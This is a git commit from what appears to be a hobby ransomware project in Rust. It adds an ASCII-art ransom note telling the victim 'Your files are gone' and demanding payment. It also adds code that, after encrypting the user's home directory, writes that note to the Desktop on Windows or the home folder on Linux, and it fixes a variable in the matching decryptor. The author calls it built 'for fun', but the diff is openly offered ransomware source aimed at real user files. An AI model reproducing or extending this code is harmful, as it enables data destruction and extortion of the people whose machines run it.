feat: ransom note

This commit is contained in:
Xory 2024-06-29 13:58:26 +03:00
parent 55c0831579
commit 97343c6ca3
3 changed files with 31 additions and 3 deletions

11
note.txt Normal file
View file

@ -0,0 +1,11 @@
|
\ ___ / ____ __ __
/ \ / __/__ / /_________ _____ / /_
- | | - _\ \/ _ \/ / __/ __/ // / _ \/ __/
\___/ /___/\___/_/\__/_/ \_, / .__/\__/
/ \ /___/_/
| Made by Xory
So... you messed up.
Your files are gone.
Now you're going to have to pay us money at [not implemented yet] to get your files back or whatever. I built this thing for fun ffs.

View file

@ -7,6 +7,6 @@ fn main() {
let home: String = env::var("USERPROFILE").unwrap_or("C:\\Users\\Xory".to_string()); // no way this could fail! let home: String = env::var("USERPROFILE").unwrap_or("C:\\Users\\Xory".to_string()); // no way this could fail!
#[cfg(target_os = "linux")] #[cfg(target_os = "linux")]
let home: String = env::var("HOME").unwrap(); let home: String = env::var("HOME").unwrap();
decrypt_directory(&home_dir).unwrap(); decrypt_directory(&home).unwrap();
} }

View file

@ -4,12 +4,22 @@ use crypto::register;
use std::env; use std::env;
use std::thread::sleep; use std::thread::sleep;
use std::time::Duration; use std::time::Duration;
use std::fs::File;
use std::io::Write;
fn main() { const NOTE: &str = include_str!("../note.txt");
fn main() -> std::io::Result<()> {
#[cfg(target_os = "windows")] #[cfg(target_os = "windows")]
let home: String = env::var("USERPROFILE").unwrap_or("C:\\Users\\Xory".to_string()); // no way this could fail! let home: String = env::var("USERPROFILE").unwrap_or("C:\\Users\\Xory".to_string()); // no way this could fail!
#[cfg(target_os = "windows")]
let ransomnoteloc = format!("{home}\\Desktop\\README.txt");
#[cfg(target_os = "linux")] #[cfg(target_os = "linux")]
let home: String = env::var("HOME").unwrap(); let home: String = env::var("HOME").unwrap();
#[cfg(target_os = "linux")]
let ransomnoteloc = format!("{home}/readme.txt");
encrypt_directory(&home).unwrap(); // I know this many unwraps look encrypt_directory(&home).unwrap(); // I know this many unwraps look
// suspicious, but the chance of this // suspicious, but the chance of this
// failing is less than a solar flare. // failing is less than a solar flare.
@ -23,4 +33,11 @@ fn main() {
} }
} }
// Write ransom note to desktop
let mut ransomnote = File::create(ransomnoteloc)?; // we *should* have write perms for
// the user's HOME
ransomnote.write_all(NOTE.as_bytes())?;
ransomnote.flush()?;
Ok(())
} }